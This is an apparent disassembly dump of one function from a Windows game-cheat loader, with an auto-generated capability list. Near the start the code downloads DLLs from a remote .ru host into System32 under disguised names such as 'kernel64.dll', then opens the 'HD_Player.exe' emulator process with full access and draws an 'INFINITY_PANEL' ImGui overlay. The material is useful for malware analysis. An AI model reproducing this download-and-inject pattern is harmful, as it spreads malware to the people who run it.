Function at 0x1400661d0
Capabilities:
Create process on windows
Create thread
Delete file
Download url
Enumerate processes
Execute command
Hide graphical window
Log keystrokes via polling
Receive data
Set registry value
Terminate process
Terminate process by name

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x176e0]
mov eax, 0x177e0
call fcn.14013ae70
sub rsp, rax
movups xmm0, xmmword [str.http:__a0989449.xsph.ru_222.dll]
lea r8, str.C:WindowsSystem32ChamsMenu2.dll
mov edx, 0x104
movups xmm1, xmmword [0x14017b8d0]
lea rcx, [rbp + 0x1150]
movups xmmword [rbp + 0xca8], xmm0
movups xmmword [rbp + 0xcb8], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r15d, r15d
lea r8, [rbp + 0x1150]
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, [rbp + 0xca8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, str.C:WindowsSystem32222.dll
mov edx, 0x104
lea rcx, [rbp + 0x1370]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x1150]
xor ecx, ecx
lea rdx, [rbp + 0xca8]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, str.C:WindowsSystem32kernel64.dll
mov edx, 0x104
lea rcx, [rbp + 0x1480]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [0x140496410]
call fcn.1400e4920
mov ebx, dword [0x14047510c]
test ebx, ebx
jne 0x140066354
cmp qword [0x140475230], r15
jne 0x1400662ca
mov ecx, reloc.WS2_32.dll_recv
call fcn.14013a490
mov qword [0x140475230], rax
mov dword [rax + 8], r15d
xor edx, edx
mov ecx, 2
mov ebx, r15d
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xef0]
mov dword [rbp + 0xef0], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0xef0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14006634e
nop
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xf1c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x14006633a
mov eax, dword [rbp + 0xf0c]
cmp eax, edi
jle 0x14006633a
mov ebx, dword [rbp + 0xef8]
mov edi, eax
lea rdx, [rbp + 0xef0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140066310
mov dword [0x14047510c], ebx
mov rdi, qword [0x140475230]
test rdi, rdi
jne 0x14006637e
mov ecx, reloc.WS2_32.dll_recv
call fcn.14013a490
mov ebx, dword [0x14047510c]
mov rdi, rax
mov qword [0x140475230], rax
mov dword [rax + 8], r15d
mov dword [rdi + 8], ebx
test ebx, ebx
jne 0x140066401
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0x1020]
mov dword [rbp + 0x1020], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0x1020]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400663fe
nop dword [rax]
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0x104c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0x1028]
lea rdx, [rbp + 0x1020]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400663d0
mov dword [rdi + 8], ebx
cmp dword [rdi + 8], r15d
je 0x14006641a
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
cmp byte [0x140496628], r15b
jne 0x140066454
lea rcx, [0x140496630]
call fcn.14004a7c0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x14006ddb0]
mov qword [rsp + 0x17818], r13
mov edx, 0x7f00
mov qword [rbp + 0x748], rax
xor ecx, ecx
mov qword [rsp + 0x17820], r14
mov dword [rbp + 0x740], 0x50
mov dword [rbp + 0x744], 0x40
mov qword [rbp + 0x750], r15
mov qword [rbp + 0x758], r15
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x760], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x770], r15
mov qword [rbp + 0x768], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x778], rax
lea rax, str.Example
mov qword [rbp + 0x780], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x740]
mov qword [rbp + 0x788], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x12c]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r15
lea r8, str.INFINITY_PANEL
mov qword [rsp + 0x50], r15
cdq
mov qword [rsp + 0x48], r15
sub eax, edx
mov rdx, qword [rbp + 0x780]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r15
xor ecx, ecx
mov dword [rsp + 0x38], 0x258
sar eax, 1
sub eax, 0x1cc
mov dword [rsp + 0x30], 0x398
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea rcx, str.user32.dll
mov qword [rbp + 8], rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x1400665ec
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400665e3
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x8e0]
mov qword [rbp + 0x838], rcx
lea rdx, [rbp + 0x830]
mov rcx, r13
mov dword [rbp + 0x830], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x8e0], xmm0
mov dword [rbp + 0x840], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, 0xffffffec
mov rcx, r13
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov rcx, r13
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, r13
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x14017cfd0]
lea rdx, [rbp + 0x8f0]
mov rcx, r13
movdqu xmmword [rbp + 0x8f0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
lea rdx, [rbp + 0x18]
mov rcx, r13
movups xmmword [rbp + 0x18], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rax, [rbp - 0x40]
mov qword [rbp + 0x6f4], r15
lea rbx, [0x1404aaf40]
mov qword [rbp + 0x708], 2
mov qword [rsp + 0x58], rbx
lea rdi, [0x1404aaf38]
mov qword [rsp + 0x50], rax
lea rsi, [0x1404aaf30]
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x6e0]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x28]
mov dword [rsp + 0x28], 2
mov edx, r14d
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x720], 2
mov qword [rbp + 0x6e0], r15
mov dword [rbp + 0x6f0], Ordinal_32
mov dword [rbp + 0x6e8], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x6ec], r14d
mov dword [rbp + 0x704], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x710], r13
mov qword [rbp + 0x6fc], r14
mov qword [rbp + 0x718], r14
mov dword [rbp - 0x28], 0xb000
mov dword [rbp - 0x24], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x14006677f
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 0x40]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x6e0]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp - 0x28]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x1400667a4
call fcn.14006dd30
mov rdx, qword [rbp + 0x758]
mov rcx, qword [rbp + 0x780]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x14006dbc4
mov rcx, qword [0x1404aaf30]
lea r9, [rbp + 0x3f0]
mov qword [rsp + 0x17810], r12
lea r8, [0x14017a810]
movaps xmmword [rsp + 0x17790], xmm10
xor edx, edx
movaps xmmword [rsp + 0x17780], xmm11
mov rax, qword [rcx]
movaps xmmword [rsp + 0x17770], xmm12
movaps xmmword [rsp + 0x17760], xmm13
movaps xmmword [rsp + 0x17750], xmm14
mov r10, qword [rax + 0x48]
movaps xmmword [rsp + 0x17740], xmm15
call r10
mov rcx, qword [0x1404aaf38]
lea r9, [0x1404aaee8]
mov rdx, qword [rbp + 0x3f0]
xor r8d, r8d
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
call r10
mov rcx, qword [rbp + 0x3f0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xa
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r13
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x140475030]
test rbx, rbx
je 0x14006685b
inc dword [rbx + 0xf4]
mov rdx, qword [0x140475020]
mov ecx, 0x5e50
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14006687d
xor edx, edx
mov rcx, rax
call fcn.140001d50
jmp 0x140066880
mov rax, r15
mov qword [0x140475030], rax
call fcn.1400064e0
test rbx, rbx
je 0x14006689a
mov qword [0x140475030], rbx
jmp 0x1400668a1
mov rbx, qword [0x140475030]
test rbx, rbx
jne 0x1400668c7
mov r8d, 0x1033
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140475030]
or dword [rbx + 8], 3
xorps xmm1, xmm1
movups xmmword [rbp + 0x4a0], xmm1
xor eax, eax
mov dword [rbp + 0x4a8], 3
movups xmmword [rbp + 0x4d0], xmm1
mov qword [rbp + 0x510], rax
mov eax, 0xffff
movups xmmword [rbp + 0x4e0], xmm1
mov word [rbp + 0x4e4], ax
movups xmmword [rbp + 0x490], xmm1
mov byte [rbp + 0x49c], r14b
movaps xmmword [rbp + 0x4b0], xmm1
xorps xmm3, xmm3
movaps xmmword [rbp + 0x4c0], xmm3
xorps xmm4, xmm4
movaps xmmword [rbp + 0x4f0], xmm4
xorps xmm5, xmm5
movaps xmmword [rbp + 0x500], xmm5
mov dword [rbp + 0x4ac], r14d
mov dword [rbp + 0x4d4], 0x7f7fffff
mov dword [rbp + 0x4e0], 0x3f800000
mov dword [rbp + 0x4dc], 0x10c
mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r15b
je 0x14006699a
mov r8d, 0xb89
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm5, xmmword [rbp + 0x500]
movaps xmm4, xmmword [rbp + 0x4f0]
movaps xmm3, xmmword [rbp + 0x4c0]
movaps xmm1, xmmword [rbp + 0x4b0]
movaps xmm0, xmmword [rbp + 0x4a0]
movaps xmm2, xmmword [rbp + 0x490]
movaps xmmword [rbp + 0x70], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0x4d0]
movaps xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [rbp + 0x510]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [rbp + 0x4e0]
movsd qword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0x60], xmm2
movaps xmmword [rbp + 0x90], xmm3
movaps xmmword [rbp + 0xb0], xmm1
movaps xmmword [rbp + 0xc0], xmm4
movaps xmmword [rbp + 0xd0], xmm5
test rax, rax
je 0x140066a1c
mov r8d, 0xb8b
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x1401ed610]
mov dword [rbp + 0x68], 0x4ba44
lea rsi, [0x1401765e0]
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x60]
mov qword [rbp + 0x98], rsi
mov rcx, rdi
mov dword [rbp + 0x74], 0x41880000
call fcn.140031110
mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r15b
je 0x140066a73
mov r8d, 0xb89
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0x4a0]
movaps xmm1, xmmword [rbp + 0x4b0]
movaps xmm2, xmmword [rbp + 0x490]
movaps xmmword [rbp + 0x70], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [rbp + 0x4d0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [rbp + 0x4e0]
movaps xmmword [rbp + 0xa0], xmm1
movaps xmm1, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0xc0], xmm1
movsd xmm1, qword [rbp + 0x510]
movaps xmmword [rbp + 0xd0], xmm0
movsd qword [rbp + 0xe0], xmm1
movaps xmmword [rbp + 0x60], xmm2
test rax, rax
je 0x140066b11
mov r8d, 0xb8b
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x140197d20]
mov dword [rbp + 0x68], 0x4d2c4
lea rdx, [rbp + 0x60]
mov qword [rbp + 0x60], rax
mov rcx, rdi
mov dword [rbp + 0x74], 0x41880000
mov qword [rbp + 0x98], rsi
call fcn.140031110
mov rbx, qword [rbx + 0x58]
mov qword [0x140475218], rax
cmp byte [rbx + 0x18], r15b
je 0x140066b68
mov r8d, 0xb89
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm0, xmmword [rbp + 0x4a0]
movaps xmm1, xmmword [rbp + 0x4b0]
movaps xmm2, xmmword [rbp + 0x490]
movaps xmmword [rbp + 0x70], xmm0
movq rax, xmm2
movaps xmm0, xmmword [rbp + 0x4c0]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [rbp + 0x4d0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [rbp + 0x4e0]
movaps xmmword [rbp + 0xa0], xmm1
movaps xmm1, xmmword [rbp + 0x4f0]
movaps xmmword [rbp + 0xb0], xmm0
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0xc0], xmm1
movsd xmm1, qword [rbp + 0x510]
movaps xmmword [rbp + 0xd0], xmm0
movsd qword [rbp + 0xe0], xmm1
movaps xmmword [rbp + 0x60], xmm2
test rax, rax
je 0x140066c06
mov r8d, 0xb8b
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x140239260]
mov dword [rbp + 0x68], 0xb18
lea rdx, [rbp + 0x60]
mov qword [rbp + 0x60], rax
mov rcx, rbx
mov dword [rbp + 0x74], 0x41700000
mov qword [rbp + 0x98], rsi
call fcn.140031110
xor ecx, ecx
call fcn.1400298c0
cmp qword [0x140475098], r15
mov qword [rbp + 0x28], 0xffffffffffffffff
mov qword [rbp + 0x30], 0xffffffffffffffff
mov qword [rbp + 0x38], 0xffffffffffffffff
mov qword [rbp + 0x40], 0xffffffffffffffff
mov dword [rbp + 0x48], 0xffffffff
mov qword [rbp + 0x4c], 0xfffffffffffffffd
mov dword [rbp + 0x54], 0xffffffff
mov qword [rbp + 0x58], r15
jne 0x140066cb0
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475098]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140239d80]
mov r8d, 0x2385a0
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475080], r15
jne 0x140066ced
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475080]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ebef0]
mov r8d, 0x249
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475090], r15
jne 0x140066d2a
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475090]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ed100]
mov r8d, 0x1e8
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475068], r15
jne 0x140066d67
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475068]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401e4ff0]
mov r8d, 0x193
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1404750a0], r15
jne 0x140066da4
mov rcx, qword [0x1404aaf38]
lea rax, [0x1404750a0]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140239060]
mov r8d, 0x1f7
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475060], r15
jne 0x140066de1
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475060]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401972c0]
mov r8d, 0x27b
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475228], r15
jne 0x140066e1e
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475228]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140472320]
mov r8d, 0x100
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475220], r15
jne 0x140066e5b
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475220]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140197890]
mov r8d, 0x243
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1404750a8], r15
jne 0x140066e98
mov rcx, qword [0x1404aaf38]
lea rax, [0x1404750a8]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140472420]
mov r8d, 0x7aa
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475070], r15
jne 0x140066ed5
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475070]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140197ae0]
mov r8d, 0x23f
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475088], r15
jne 0x140066f12
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475088]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ed2f0]
mov r8d, 0x313
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475078], r15
jne 0x140066f4f
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475078]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401ec140]
mov r8d, 0xfbe
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475050], r15
jne 0x140066f8c
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475050]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140196120]
mov r8d, 0x1192
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140475058], r15
jne 0x140066fc9
mov rcx, qword [0x1404aaf38]
lea rax, [0x140475058]
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x28]
mov qword [rsp + 0x28], rax
lea rdx, [0x140197540]
mov r8d, 0x348
mov qword [rsp + 0x20], r15
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, r13
call fcn.14004cd80
mov rax, qword [0x140475030]
mov r14, qword [0x1404aaf40]
mov rsi, qword [0x1404aaf38]
test rax, rax
jne 0x14006700c
mov r8d, 0x1033
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140475030]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r15
je 0x14006703a
mov r8d, 0x221
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_factura_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140475030]
test rax, rax
je 0x140067045
inc dword [rax + 0xf4]
mov rdx, qword [0x140475020]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x14006708c
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x14006708f
mov rbx, r15
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp - 0x20]
or dword [rdi + 4], 8
lea rdx, [0x1401780a0]
mov qword [rbp - 0x20], r15
mov rcx, rsi
mov qword [rbp - 0x18], r15
mov qword [rbp + 0x418], r15
mov rax, qword [rsi]
mov r9, qword [rax]
call r9
test eax, eax
jne 0x140067121
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
lea rdx, [0x1401780b0]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x140067121
mov rcx, qword [rbp - 0x18]
lea r8, [rbp + 0x418]
lea rdx, [0x1401780c0]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x140067121
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x418]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140067130
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x14006713f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
movzx r14d, byte [rsp + 0x64]
xor bl, bl
movzx r15d, byte [rsp + 0x64]
xorps xmm11, xmm11
movzx r12d, byte [rsp + 0x64]
movzx esi, byte [rsp + 0x64]
movzx edi, byte [rsp + 0x64]
movss xmm12, dword [0x14017cd5c]
movss xmm15, dword [0x14017ce90]
movss xmm10, dword [0x14017cee0]
movss xmm14, dword [0x14017cdc0]
movss xmm13, dword [0x14017cee8]
movaps xmmword [rsp + 0x177d0], xmm6
movaps xmmword [rsp + 0x177c0], xmm7
movaps xmmword [rsp + 0x177b0], xmm8
mov dword [rbp - 0x60], ebx
movaps xmmword [rsp + 0x177a0], xmm9
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0xcf8]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140067254
mov edi, 1
nop word [rax + rax]
lea rcx, [rbp + 0xcf8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xcf8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xd00], 0x12
lea rcx, [rbp + 0xcf8]
movzx ebx, bl
cmove ebx, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140067200
movzx edi, byte [rsp + 0x64]
mov dword [rbp - 0x60], ebx
test bl, bl
jne 0x14006d985
mov rax, qword [0x140475030]
test rax, rax
jne 0x140067281
mov r8d, 0x1033
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140475030]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x140474178]
mulss xmm0, dword [0x14017ce10]
cmp ecx, 0xff
jg 0x1400672ae
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400672ae
mov eax, Ordinal_301
xor ebx, ebx
jmp 0x1400672b2
xor ebx, ebx
mov eax, ebx
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x140474178], r8d
cmp r8d, 0xff
jle 0x1400672ef
mov dword [0x140474178], 0xff
mov r8d, 0xff
xor edx, edx
mov r9d, 2
mov rcx, r13
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x140474178], 0
mov edx, ebx
mov eax, 5
mov rcx, r13
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [0x1404750f4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140067338
cmp byte [reloc.WS2_32.dll_accept], 0
